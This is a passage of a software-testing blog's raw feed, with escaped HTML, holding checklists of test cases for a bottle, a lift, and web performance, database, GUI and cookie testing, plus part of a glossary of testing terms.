&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;After successful sign-out, try “Back” option from your browser. Check whether it gets you to the “signed-in” page.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
9.&amp;nbsp;&lt;strong&gt;Test cases on bottle:&lt;/strong&gt;&lt;/div&gt;
&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;ul style=&quot;list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; outline: none; padding: 0px 0px 0px 2em;&quot;&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check whether the bottle is made up of plastic or glass.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check it is available in various color.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;To check whether it does not have any leakage.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;checking its base so that we can steady on plan surface.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;If it is made up from glass then its behavior in deep freezer.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Through it from some height to check it is not easily breakable.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;check it in each climatic condition.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Verify that it should contain cold as well as hot water/liquid or not.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px;&quot;&gt;
10.&amp;nbsp;&lt;strong&gt;Test case for Lift?&lt;/strong&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;div align=&quot;left&quot; style=&quot;margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px;&quot;&gt;
1. Check for the appropriate no of buttons?&lt;br /&gt;2. What happen if I touch the open button twice?&lt;br /&gt;3. What happen when I press open button while lift is&lt;br /&gt;moving and it is in the middle of the two floors.&lt;br /&gt;4. What happen when I press the open button for some time?&lt;br /&gt;5. Check for the sound when lift is opening.&lt;br /&gt;6. Check for the direction by pressing up and down button.&lt;br /&gt;7. Enter in the lift specify the floor say 4 and check for&lt;br /&gt;the corresponding floor?&lt;br /&gt;8. Lift is moving and the power break off. Does the alarm&lt;br /&gt;blow in the control room that there is power break off?&lt;br /&gt;9. Also check for the case how the inside person inform the&lt;br /&gt;lift man that he got stuck in the lift (if there is phone&lt;br /&gt;button does it works)?&lt;br /&gt;10. Also check for the response time to start lift again?&lt;br /&gt;11. When a person is in the lift any light is there or not?&lt;br /&gt;12. How many persons at a time will carry the lift in the&lt;br /&gt;since in moving time.&lt;br /&gt;13. With out load if we press the up button is it moving or&lt;br /&gt;not.&lt;br /&gt;14. What happen with out specifying the floor number if we&lt;br /&gt;press the up or down?&lt;br /&gt;15. What happen if the lift is in over load mode (over load&lt;br /&gt;sound will come before moving or it moves).&lt;br /&gt;16. With out load if we press the up button and specify the&lt;br /&gt;floor number what is happening?&lt;br /&gt;17. Is the door get closed itself or have to close manually.&lt;br /&gt;18. If the door closed automatically check for the closing&lt;br /&gt;time?&lt;br /&gt;19. If the door closed automatically also check for the&lt;br /&gt;sensor? Suppose the closing time is 2 min and it passed and&lt;br /&gt;people are still getting in. What happen does the door get&lt;br /&gt;closed or wait for the people to get in?&lt;br /&gt;20. What happen when you press the same floor number on&lt;br /&gt;which lift is already there?&lt;br /&gt;21. After getting into the lift one person is there he&lt;br /&gt;wants to go up but we want to go down already he specified&lt;br /&gt;the floor number before we enter in to the lift. After that&lt;br /&gt;we specified our floor number then what will be the&lt;br /&gt;priority of the lift?&lt;br /&gt;22. Lift is empty and is moving downwards I entered and&lt;br /&gt;want to go up. Is there the button to change the direction&lt;br /&gt;of lift and the button working?&lt;br /&gt;23. Is the floor number displayed up in side the lift&lt;br /&gt;correct?&lt;br /&gt;24. When happen when the out side person want to open the&lt;br /&gt;door but&lt;br /&gt;Inside person wants to close the door at the same time.&lt;/div&gt;
&lt;div&gt;
&lt;blockquote&gt;&lt;div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/5346356928164162963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2014/10/test-cases.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5346356928164162963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5346356928164162963'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2014/10/test-cases.html' title='Test Cases'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-24821255046598162</id><published>2013-07-01T01:51:00.001-07:00</published><updated>2013-07-01T02:04:39.850-07:00</updated><title type='text'>Performance Testing Test Scenarios</title><content type='html'>1.	Check if page load time is within acceptable range
2.	Check page load on slow connections 
3.	Check response time for any action under light, normal, moderate and heavy load conditions 
4.	Check performance of database stored procedures and triggers 
5.	Check database query execution time
6.	Check for load testing of application 
7.	Check for stress testing of application 
8.	Check CPU and memory usage under peak load condition
</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/24821255046598162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/performance-testing-test-scenarios.html#comment-form' title='91 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/24821255046598162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/24821255046598162'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/performance-testing-test-scenarios.html' title='Performance Testing Test Scenarios'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>91</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-1122056912455901338</id><published>2013-07-01T01:50:00.002-07:00</published><updated>2013-07-01T01:50:13.413-07:00</updated><title type='text'>Database Testing Test Scenarios</title><content type='html'>
1. Check if correct data is getting saved in database upon successful page submit
2. Check values for columns which are not accepting null values
3. Check for data integrity. Data should be stored in single or multiple tables based on design
4. Index names should be given as per the standards e.g. IND_&lt;Tablename&gt;_&lt;ColumnName&gt;
5. Tables should have primary key column
6. Table columns should have description information available (except for audit columns like created date, created by etc.)
7. For every database add/update operation log should be added
8. Required table indexes should be created
9. Check if data is committed to database only when the operation is successfully completed
10. Data should be rolled back in case of failed transactions
11. Database name should be given as per the application type i.e. test, UAT, sandbox, live (though this is not a standard it is helpful for database maintenance)
12. Database logical names should be given according to database name (again this is not standard but helpful for DB maintenance)
13. Stored procedures should not be named with prefix “sp_”
14. Check is values for table audit columns (like createddate, createdby, updatedate, updatedby, isdeleted, deleteddate, deletedby etc.) are populated properly
15. Check if input data is not truncated while saving. Field length shown to user on page and in database schema should be same
16. Check numeric fields with minimum, maximum, and float values
17. Check numeric fields with negative values (for both acceptance and non-acceptance)
18. Check if radio button and dropdown list options are saved correctly in database
19. Check if database fields are designed with correct data type and data length
20. Check if all table constraints like Primary key, Foreign key etc. are implemented correctly
21. Test stored procedures and triggers with sample input data
22. Input field leading and trailing spaces should be truncated before committing data to database
23. Null values should not be allowed for Primary key column</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/1122056912455901338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/database-testing-test-scenarios.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/1122056912455901338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/1122056912455901338'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/database-testing-test-scenarios.html' title='Database Testing Test Scenarios'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-8046304881963337252</id><published>2013-07-01T01:47:00.002-07:00</published><updated>2013-07-01T01:47:48.076-07:00</updated><title type='text'> GUI and Usability Test Scenarios</title><content type='html'>
1. All fields on page (e.g. text box, radio options, dropdown lists) should be aligned properly
2. Numeric values should be right justified unless specified otherwise
3. Enough space should be provided between field labels, columns, rows, error messages etc.
4. Scroll bar should be enabled only when necessary
5. Font size, style and color for headline, description text, labels, infield data, and grid info should be standard as specified in SRS
6. Description text box should be multi-line
7. Disabled fields should be grayed out and user should not be able to set focus on these fields
8. Upon click of any input text field, mouse arrow pointer should get changed to cursor
9. User should not be able to type in drop down select lists
10. Information filled by users should remain intact when there is error message on page submit. User should be able to submit the form again by correcting the errors
11. Check if proper field labels are used in error messages
12. Dropdown field values should be displayed in defined sort order
13. Tab and Shift+Tab order should work properly
14. Default radio options should be pre-selected on page load
15. Field specific and page level help messages should be available
16. Check if correct fields are highlighted in case of errors
17. Check if dropdown list options are readable and not truncated due to field size limit
18. All buttons on page should be accessible by keyboard shortcuts and user should be able to perform all operations using keyboard
19. Check all pages for broken images
20. Check all pages for broken links
21. All pages should have title
22. Confirmation messages should be displayed before performing any update or delete operation
23. Hour glass should be displayed when application is busy
24. Page text should be left justified
25. User should be able to select only one radio option and any combination for check boxes.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/8046304881963337252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/gui-and-usability-test-scenarios.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8046304881963337252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8046304881963337252'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/gui-and-usability-test-scenarios.html' title=' GUI and Usability Test Scenarios'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-1686282281785701473</id><published>2013-07-01T01:41:00.003-07:00</published><updated>2013-07-01T02:13:50.195-07:00</updated><title type='text'>General Test Scenarios</title><content type='html'>
1. All mandatory fields should be validated and indicated by asterisk (*) symbol
2. Validation error messages should be displayed properly at correct position
3. All error messages should be displayed in same CSS style (e.g. using red color)
4. General confirmation messages should be displayed using CSS style other than error messages style (e.g. using green color)
5. Tool tips text should be meaningful
6. Dropdown fields should have first entry as blank or text like ‘Select’
7. Delete functionality for any record on page should ask for confirmation
8. Select/deselect all records options should be provided if page supports record add/delete/update functionality
9. Amount values should be displayed with correct currency symbols
10. Default page sorting should be provided
11. Reset button functionality should set default values for all fields
12. All numeric values should be formatted properly
13. Input fields should be checked for max field value. Input values greater than specified max limit should not be accepted or stored in database
14. Check all input fields for special characters
15. Field labels should be standard e.g. field accepting user’s first name should be labeled properly as ‘First Name’
16. Check page sorting functionality after add/edit/delete operations on any record
17. Check for timeout functionality. Timeout values should be configurable. Check application behavior after operation timeout
18. Check cookies used in an application
19. Check if downloadable files are pointing to correct file paths
20. All resource keys should be configurable in config files or database instead of hard coding
21. Standard conventions should be followed throughout for naming resource keys
22. Validate markup for all web pages (validate HTML and CSS for syntax errors) to make sure it is compliant with the standards
23. Application crash or unavailable pages should be redirected to error page
24. Check text on all pages for spelling and grammatical errors
25. Check numeric input fields with character input values. Proper validation message should appear
26. Check for negative numbers if allowed for numeric fields
27. Check amount fields with decimal number values
28. Check functionality of buttons available on all pages
29. User should not be able to submit page twice by pressing submit button in quick succession.
30. Divide by zero errors should be handled for any calculations
31. Input data with first and last position blank should be handled correctly
</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/1686282281785701473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/general-test-scenarios.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/1686282281785701473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/1686282281785701473'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2013/07/general-test-scenarios.html' title='General Test Scenarios'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-5898180735234220115</id><published>2012-04-07T23:38:00.001-07:00</published><updated>2012-04-07T23:38:26.631-07:00</updated><title type='text'>SQL Join</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavpbtrOROfaD1MLgzSExxg7AxIPAsKdBhyf5j-ISi4_TJJ0PS3gnOHqPx6tzhFgwq89Mn3GUIF2PWLW8LVhSpidBg5qba0f1Knxf_u4XSH1RAqe4a0-AyMYH3D0uJUEmKy9LE3UUcLg/s1600/522152_10151461005495298_725915297_24269397_714063209_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left:1em; margin-right:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;252&quot; width=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavpbtrOROfaD1MLgzSExxg7AxIPAsKdBhyf5j-ISi4_TJJ0PS3gnOHqPx6tzhFgwq89Mn3GUIF2PWLW8LVhSpidBg5qba0f1Knxf_u4XSH1RAqe4a0-AyMYH3D0uJUEmKy9LE3UUcLg/s320/522152_10151461005495298_725915297_24269397_714063209_n.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/5898180735234220115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2012/04/sql-join.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5898180735234220115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5898180735234220115'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2012/04/sql-join.html' title='SQL Join'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavpbtrOROfaD1MLgzSExxg7AxIPAsKdBhyf5j-ISi4_TJJ0PS3gnOHqPx6tzhFgwq89Mn3GUIF2PWLW8LVhSpidBg5qba0f1Knxf_u4XSH1RAqe4a0-AyMYH3D0uJUEmKy9LE3UUcLg/s72-c/522152_10151461005495298_725915297_24269397_714063209_n.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-7854802951328442864</id><published>2012-03-21T01:58:00.000-07:00</published><updated>2012-03-21T01:58:54.835-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Cookie Testing"/><title type='text'>Cookie Testing</title><content type='html'>What is Cookie?&lt;br /&gt;
Cookie is small information stored in text file on user’s hard drive by web server. This information is later used by web browser to retrieve information from that machine. Generally cookie contains personalized user data or information that is used to communicate between different web pages.&lt;br /&gt;
Why Cookies are used?&lt;br /&gt;
Cookies are nothing but the user’s identity and used to track where the user navigated throughout the web site pages. The communication between web browser and web server is stateless.&lt;br /&gt;
For example if you are accessing domain http://www.example.com/1.html then web browser will simply query to example.com web server for the page 1.html. Next time if you type page as http://www.example.com/2.html then new request is send to example.com web server for sending 2.html page and web server don’t know anything about to whom the previous page 1.html served.&lt;br /&gt;
What if you want the previous history of this user communication with the web server? You need to maintain the user state and interaction between web browser and web server somewhere. This is where cookie comes into picture. Cookies serve the purpose of maintaining the user interactions with web server.&lt;br /&gt;
How cookies work?&lt;br /&gt;
The HTTP protocol used to exchange information files on the web is used to maintain the cookies. There are two types of HTTP protocol. Stateless HTTP and Stateful HTTP protocol. Stateless HTTP protocol does not keep any record of previously accessed web page history. While Stateful HTTP protocol do keep some history of previous web browser and web server interactions and this protocol is used by cookies to maintain the user interactions.&lt;br /&gt;
Whenever user visits the site or page that is using cookie, small code inside that HTML page (Generally a call to some language script to write the cookie like cookies in JAVAScript, PHP, Perl) writes a text file on users machine called cookie.&lt;br /&gt;
Here is one example of the code that is used to write cookie and can be placed inside any HTML page:&lt;br /&gt;
Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME;&lt;br /&gt;
When user visits the same page or domain later time this cookie is read from disk and used to identify the second visit of the same user on that domain. Expiration time is set while writing the cookie. This time is decided by the application that is going to use the cookie.&lt;br /&gt;
Generally two types of cookies are written on user machine.&lt;br /&gt;
1) Session cookies: This cookie is active till the browser that invoked the cookie is open. When we close the browser this session cookie gets deleted. Some time session of say 20 minutes can be set to expire the cookie.&lt;br /&gt;
2) Persistent cookies: The cookies that are written permanently on user machine and lasts for months or years.&lt;br /&gt;
Where cookies are stored?&lt;br /&gt;
When any web page application writes cookie it get saved in a text file on user hard disk drive. The path where the cookies get stored depends on the browser. Different browsers store cookie in different paths. E.g. Internet explorer store cookies on path “C:\Documents and Settings\Default User\Cookies”&lt;br /&gt;
Here the “Default User” can be replaced by the current user you logged in as. Like “Administrator”, or user name like “Vijay” etc.&lt;br /&gt;
The cookie path can be easily found by navigating through the browser options. In Mozilla Firefox browser you can even see the cookies in browser options itself. Open the Mozila browser, click on Tools-&gt;Options-&gt;Privacy and then “Show cookies” button.&lt;br /&gt;
How cookies are stored?&lt;br /&gt;
Lets take example of cookie written by rediff.com on Mozilla Firefox browser:&lt;br /&gt;
On Mozilla Firefox browser when you open the page rediff.com or login to your rediffmail account, a cookie will get written on your Hard disk. To view this cookie simply click on “Show cookies” button mentioned on above path. Click on Rediff.com site under this cookie list. You can see different cookies written by rediff domain with different names.&lt;br /&gt;
Site: Rediff.com Cookie name: RMID&lt;br /&gt;
Name: RMID (Name of the cookie)&lt;br /&gt;
Content: 1d11c8ec44bf49e0… (Encrypted content)&lt;br /&gt;
Domain: .rediff.com&lt;br /&gt;
Path: / (Any path after the domain name)&lt;br /&gt;
Send For: Any type of connection&lt;br /&gt;
Expires: Thursday, December 31, 2020 11:59:59 PM&lt;br /&gt;
Applications where cookies can be used:&lt;br /&gt;
1) To implement shopping cart:&lt;br /&gt;
Cookies are used for maintaining online ordering system. Cookies remember what user wants to buy. What if user adds some products in their shopping cart and if due to some reason user don’t want to buy those products this time and closes the browser window? When next time same user visits the purchase page he can see all the products he added in shopping cart in his last visit.&lt;br /&gt;
2) Personalized sites:&lt;br /&gt;
When user visits certain pages they are asked which pages they don’t want to visit or display. User options are get stored in cookie and till the user is online, those pages are not shown to him.&lt;br /&gt;
3) User tracking: &lt;br /&gt;
To track number of unique visitors online at particular time.&lt;br /&gt;
4) Marketing:&lt;br /&gt;
Some companies use cookies to display advertisements on user machines. Cookies control these advertisements. When and which advertisement should be shown? What is the interest of the user? Which keywords he searches on the site? All these things can be maintained using cookies.&lt;br /&gt;
5) User sessions:&lt;br /&gt;
Cookies can track user sessions to particular domain using user ID and password.&lt;br /&gt;
Drawbacks of cookies:&lt;br /&gt;
1) Even writing Cookie is a great way to maintain user interaction, if user has set browser options to warn before writing any cookie or disabled the cookies completely then site containing cookie will be completely disabled and can not perform any operation resulting in loss of site traffic.&lt;br /&gt;
2) Too many Cookies:&lt;br /&gt;
If you are writing too many cookies on every page navigation and if user has turned on option to warn before writing cookie, this could turn away user from your site.&lt;br /&gt;
3) Security issues:&lt;br /&gt;
Some times users personal information is stored in cookies and if someone hack the cookie then hacker can get access to your personal information. Even corrupted cookies can be read by different domains and lead to security issues.&lt;br /&gt;
4) Sensitive information:&lt;br /&gt;
Some sites may write and store your sensitive information in cookies, which should not be allowed due to privacy concerns.&lt;br /&gt;
This should be enough to know what cookies are. If you want more cookie info see Cookie Central page. &lt;br /&gt;
Some Major Test cases for web application cookie testing: &lt;br /&gt;
The first obvious test case is to test if your application is writing cookies properly on disk. You can use the Cookie Tester application also if you don’t have any web application to test but you want to understand the cookie concept for testing.&lt;br /&gt;
Test cases: &lt;br /&gt;
1) As a Cookie privacy policy make sure from your design documents that no personal or sensitive data is stored in the cookie.&lt;br /&gt;
2) If you have no option than saving sensitive data in cookie make sure data stored in cookie is stored in encrypted format.&lt;br /&gt;
3) Make sure that there is no overuse of cookies on your site under test. Overuse of cookies will annoy users if browser is prompting for cookies more often and this could result in loss of site traffic and eventually loss of business.&lt;br /&gt;
4) Disable the cookies from your browser settings: If you are using cookies on your site, your sites major functionality will not work by disabling the cookies. Then try to access the web site under test. Navigate through the site. See if appropriate messages are displayed to user like “For smooth functioning of this site make sure that cookies are enabled on your browser”. There should not be any page crash due to disabling the cookies. (Please make sure that you close all browsers, delete all previously written cookies before performing this test)&lt;br /&gt;
5) Accepts/Reject some cookies: The best way to check web site functionality is, not to accept all cookies. If you are writing 10 cookies in your web application then randomly accept some cookies say accept 5 and reject 5 cookies. For executing this test case you can set browser options to prompt whenever cookie is being written to disk. On this prompt window you can either accept or reject cookie. Try to access major functionality of web site. See if pages are getting crashed or data is getting corrupted.&lt;br /&gt;
6) Delete cookie: Allow site to write the cookies and then close all browsers and manually delete all cookies for web site under test. Access the web pages and check the behavior of the pages.&lt;br /&gt;
7) Corrupt the cookies: Corrupting cookie is easy. You know where cookies are stored. Manually edit the cookie in notepad and change the parameters to some vague values. Like alter the cookie content, Name of the cookie or expiry date of the cookie and see the site functionality. In some cases corrupted cookies allow to read the data inside it for any other domain. This should not happen in case of your web site cookies. Note that the cookies written by one domain say rediff.com can’t be accessed by other domain say yahoo.com unless and until the cookies are corrupted and someone trying to hack the cookie data.&lt;br /&gt;
8 ) Checking the deletion of cookies from your web application page: Some times cookie written by domain say rediff.com may be deleted by same domain but by different page under that domain. This is the general case if you are testing some ‘action tracking’ web portal. Action tracking or purchase tracking pixel is placed on the action web page and when any action or purchase occurs by user the cookie written on disk get deleted to avoid multiple action logging from same cookie. Check if reaching to your action or purchase page deletes the cookie properly and no more invalid actions or purchase get logged from same user.&lt;br /&gt;
9) Cookie Testing on Multiple browsers: This is the important case to check if your web application page is writing the cookies properly on different browsers as intended and site works properly using these cookies. You can test your web application on Major used browsers like Internet explorer (Various versions), Mozilla Firefox, Netscape, Opera etc.&lt;br /&gt;
10) If your web application is using cookies to maintain the logging state of any user then log in to your web application using some username and password. In many cases you can see the logged in user ID parameter directly in browser address bar. Change this parameter to different value say if previous user ID is 100 then make it 101 and press enter. The proper access message should be displayed to user and user should not be able to see other users account.&lt;br /&gt;
These are some Major test cases to be considered while testing website cookies. You can write multiple test cases from these test cases by performing various combinations. If you have some different application scenario, you can mention your test cases in comments below.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/7854802951328442864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2012/03/cookie-testing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/7854802951328442864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/7854802951328442864'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2012/03/cookie-testing.html' title='Cookie Testing'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-583127344459089755</id><published>2012-01-24T22:49:00.000-08:00</published><updated>2012-01-24T22:49:19.456-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Interview Software Testing"/><title type='text'>Interview Software Testing</title><content type='html'>1. What is Test Bed?&lt;br /&gt;
An execution environment configured for testing. May consist of specific hardware, OS, network topology, configuration of the product under test, other application or system software, etc. The Test Plan for a project should enumerated the test beds(s) to be used.&lt;br /&gt;
&lt;br /&gt;
2. What is Test Case?&lt;br /&gt;
Test Case is a commonly used term for a specific test. This is usually the smallest unit of testing. A Test Case will consist of information such as requirements testing, test steps, verification steps, prerequisites, outputs, test environment, etc. A set of inputs, execution preconditions, and expected outcomes developed for a particular objective, such as to exercise a particular program path or to verify compliance with a specific requirement. Test Driven Development? Testing methodology associated with Agile Programming in which every chunk of code is covered by unit tests, which must all pass all the time, in an effort to eliminate unit-level and regression bugs during development. Practitioners of TDD write a lot of tests, i.e. an equal number of lines of test code to the size of the production code.&lt;br /&gt;
&lt;br /&gt;
3. What is Test Driver?&lt;br /&gt;
A program or test tool used to execute a tests. Also known as a Test Harness.&lt;br /&gt;
&lt;br /&gt;
4. What is Test Environment?&lt;br /&gt;
The hardware and software environment in which tests will be run, and any other software with which the software under test interacts when under test including stubs and test drivers.&lt;br /&gt;
&lt;br /&gt;
5. What is Test First Design?&lt;br /&gt;
Test-first design is one of the mandatory practices of Extreme Programming (XP).It requires that programmers do not write any production code until they have first written a unit test.&lt;br /&gt;
&lt;br /&gt;
6. What is Test Harness?&lt;br /&gt;
A program or test tool used to execute a tests. Also known as a Test Driver.&lt;br /&gt;
&lt;br /&gt;
7. What is Test Plan?&lt;br /&gt;
A document describing the scope, approach, resources, and schedule of intended testing activities. It identifies test items, the features to be tested, the testing tasks, who will do each task, and any risks requiring contingency planning.&lt;br /&gt;
&lt;br /&gt;
8. What is Test Procedure?&lt;br /&gt;
A document providing detailed instructions for the execution of one or more test cases.&lt;br /&gt;
&lt;br /&gt;
9. What is Test Script?&lt;br /&gt;
Commonly used to refer to the instructions for a particular test that will be carried out by an automated test tool.&lt;br /&gt;
&lt;br /&gt;
10. What is Test Specification?&lt;br /&gt;
A document specifying the test approach for a software feature or combination or features and the inputs, predicted results and execution conditions for the associated tests.&lt;br /&gt;
&lt;br /&gt;
11. What is Test Suite?&lt;br /&gt;
A collection of tests used to validate the behavior of a product. The scope of a Test Suite varies from organization to organization. There may be several Test Suites for a particular product for example. In most cases however a Test Suite is a high level concept, grouping together hundreds or thousands of tests related by what they are intended to test.&lt;br /&gt;
&lt;br /&gt;
12. What is Test Tools?&lt;br /&gt;
Computer programs used in the testing of a system, a component of the system, or its documentation.&lt;br /&gt;
&lt;br /&gt;
13. What is Thread Testing?&lt;br /&gt;
A variation of top-down testing where the progressive integration of components follows the implementation of subsets of the requirements, as opposed to the integration of components by successively lower levels.&lt;br /&gt;
&lt;br /&gt;
14. What is Top Down Testing?&lt;br /&gt;
An approach to integration testing where the component at the top of the component hierarchy is tested first, with lower level components being simulated by stubs. Tested components are then used to test lower level components. The process is repeated until the lowest level components have been tested.&lt;br /&gt;
&lt;br /&gt;
15. What is Total Quality Management?&lt;br /&gt;
A company commitment to develop a process that achieves high quality product and customer satisfaction.&lt;br /&gt;
&lt;br /&gt;
16. What is Traceability Matrix?&lt;br /&gt;
A document showing the relationship between Test Requirements and Test Cases.&lt;br /&gt;
&lt;br /&gt;
17. What is Usability Testing?&lt;br /&gt;
Testing the ease with which users can learn and use a product.&lt;br /&gt;
&lt;br /&gt;
18. What is Use Case?&lt;br /&gt;
